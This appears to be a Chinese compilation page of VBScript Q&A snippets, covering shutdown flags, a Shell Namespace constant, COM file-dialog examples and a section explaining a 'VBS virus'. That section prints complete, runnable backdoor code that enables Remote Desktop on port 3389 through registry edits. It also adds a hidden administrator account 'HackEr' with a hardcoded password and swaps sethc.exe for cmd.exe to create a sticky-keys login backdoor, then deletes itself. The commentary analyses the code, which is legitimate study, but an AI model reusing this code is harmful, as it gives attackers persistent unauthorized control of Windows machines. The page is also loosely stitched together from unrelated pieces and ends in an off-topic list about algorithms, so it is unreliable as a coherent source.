vbs脚本代码（难懂的VBS脚本代码）

本文目录

• 难懂的VBS脚本代码
• vbs脚本代码
• 解释一个VBS脚本病毒代码
• Vbs COM之打开/保存文件脚本代码
• vbs是什么文件

难懂的VBS脚本代码

&H27&是一个十六进制数字 化成十进制就是39
它被传入 Namespace方法中 其实意思就是类似内部的一些定义好的常量

37 C:/xxxx
38 C:/windows/xxx
39 我的文档/My Picture

这里传入一个39 读取出我的文档中的 我的图片文件夹路径罢了 系统常量

vbs脚本代码

根据windows中 Shutdown 的参数设置
-s 表示关闭本地计算机
-r 表示关机并重起
-l 表示注销当前用户
-f 强行关闭应用程序
-t 设置关机倒计时

所以你要重起就用参数-r
CreateObject(“wscript.shell“).Run “shutdown -r“
注销用参数 -l

解释一个VBS脚本病毒代码

’容错
on error resume next
’定义一个常量 是一个注册表的键值
const HKEY_LOCAL_MACHINE = &H80000002
’定义一个变量strComputer 值为.
strComputer = “.“

Set StdOut = WScript.StdOut
Set oReg=GetObject(“winmgmts:{impersonationLevel=impersonate}!\\“ &_
strComputer & “\root\default:StdRegProv“)
’创建组件 是关于注册表的组件

strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server“
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp“
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp“
strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server“
strValueName = “fDenyTSConnections“
dwValue = 0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp“
strValueName = “PortNumber“
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp“
strValueName = “PortNumber“
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue

’上面这段的功能是开启3389端口 也就是开启远程终端 方法是修改注册表的键值
’容错
on error resume next
’定义变量 username password
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username=“HackEr“:password=“393214425“:end if:set wsnetwork=CreateObject(“WSCRIPT.NETWORK“):os=“WinNT://“&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&“/Administrators,group“):Set od=ob.Create(“user“,username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&“/“&username&“,user“):oe.Add(of.ADsPath)’wscript.echo of.ADsPath
’这段是增加管理员 用户名是HackEr 密码是393214425
’容错
On Error Resume Next

Dim obj, success
Set obj = CreateObject(“WScript.Shell“)
success = obj.run(“cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F? %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe? %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe“, 0, True)
CreateObject(“Scripting.FileSystemObject“).DeleteFile(WScript.ScriptName)
’这段是留后门 放大镜后门 将sethc.exe替换为cmd.exe 这样 在登陆界面这里 按5下shift就会出现cmd窗口 然后添加用户即可登陆系统

总结 这个不算是病毒 充其量 只不过是一个后门程序 运行之后 系统的远程终端开启，自动加入一个HackEr的帐号 自动添加一个放大镜后门
个人感觉 这代码是将3段代码拼凑起来的 - - 没技术含量

Vbs COM之打开/保存文件脚本代码

您先把如下的代码复制，然后保存为FileSave.vbs，双击打开，您看到了什么呢？
复制代码
代码如下:
Set
objDialog
=
CreateObject(“SAFRCFileDlg.FileSave“)
Set
fso
=
CreateObject(“Scripting.FileSystemObject“)
objDialog.FileName
=
“test“
objDialog.FileType
=
“.txt“
intReturn
=
objDialog.OpenFileSaveDlg
If
intReturn
Then
fso.CreateTextFile(objDialog.FileName
&
objdialog.filetype)
Else
Wscript.Quit
End
if
Vbs在很多时候一直给用户以不友好的文件打开或是保存方式，总是自己在后台处理掉了一些FSO操作，而不能让用户自己进行一些设当的DIY。所以，为什么不用COM呢？COM组件在系统里是一直存在的，利用它，我们的用户体验将会提升很多。
上面的代码是不能弹出一个保存test.txt文件的对话框呢？后缀名和文件名大家自己去修改，估计懂点vbs基础知识的人都能修改笔者的这个小脚本，并将它镶嵌到自己的脚本中去吧？
下面再看一个例子，这次是打开文件，获得文件名。
复制代码
代码如下:
set
objFile
=
CreateObject(“SAFRCFileDlg.FileOpen“)
bRet
=
objFile.OpenFileOpenDlg
if
bRet
then
Wscript.Echo
“文件打开成功！文件名为：“
&
objFile.filename
else
wscript.quit
End
if
运行这个脚本（FileOpen.vbs），将会弹出一个让用户自己选择文件的对话框窗口，非常友好地让用户自己选择文件。bRet是执行的返回值，不为0则成功，objFile的FileName可以返回选择的文件名。
一个名称，一个调用方法，仅此而已。
如果您觉得这个不够帅，您想用类似于MFC中完全自己DIY的CFileDialog，您该怎么办呢？也很简单，UserAccounts对象为我们提供了CommonDialog，这个更加高级的打开通用对话框。
复制代码
代码如下:
Set
objDialog
=
CreateObject(“UserAccounts.CommonDialog“)
objDialog.Filter
=
“vbs
File|*.vbs“
objDialog.InitialDir
=
“E:“
bRet=objDialog.ShowOpen
if
bRet
then
strLoadFile
=
objDialog.FileName
Wscript.Echo
strLoadFile
else
Wscript.quit
End
if
将其保存为FileOpenAdvance.vbs吧，双击打开，它连过滤的文件类型都为您留好了接口。
默认文件名，后缀过滤器，后缀索引，标志，初始化未知，拥有者，一个调用方法。

vbs是什么文件

VBS 是基于 Visual Basic 的脚本语言。

您可以使用记事本查看源代码。 在没有语法错误的前提下，可以直接双击左键运行。但是需要注意的是，由于VBS比较简单可行，很多人喜欢用VBS来写病毒或者全人代码，所以在开启VBS之前，要保证VBS的安全性和渠道的可信度。

vbs算法的特点

1、有限性：必须保证算法在执行有限步数后结束。

2、可行性：算法是绝对可行的。 即使在数学上，该算法是可行的，但如果该程序在实际应用中无法执行，则该算法是不可行的。

3、准确性：算法的每一步都必须有明确的含义。

4、输入：一个算法必须有 0 个或多个输入。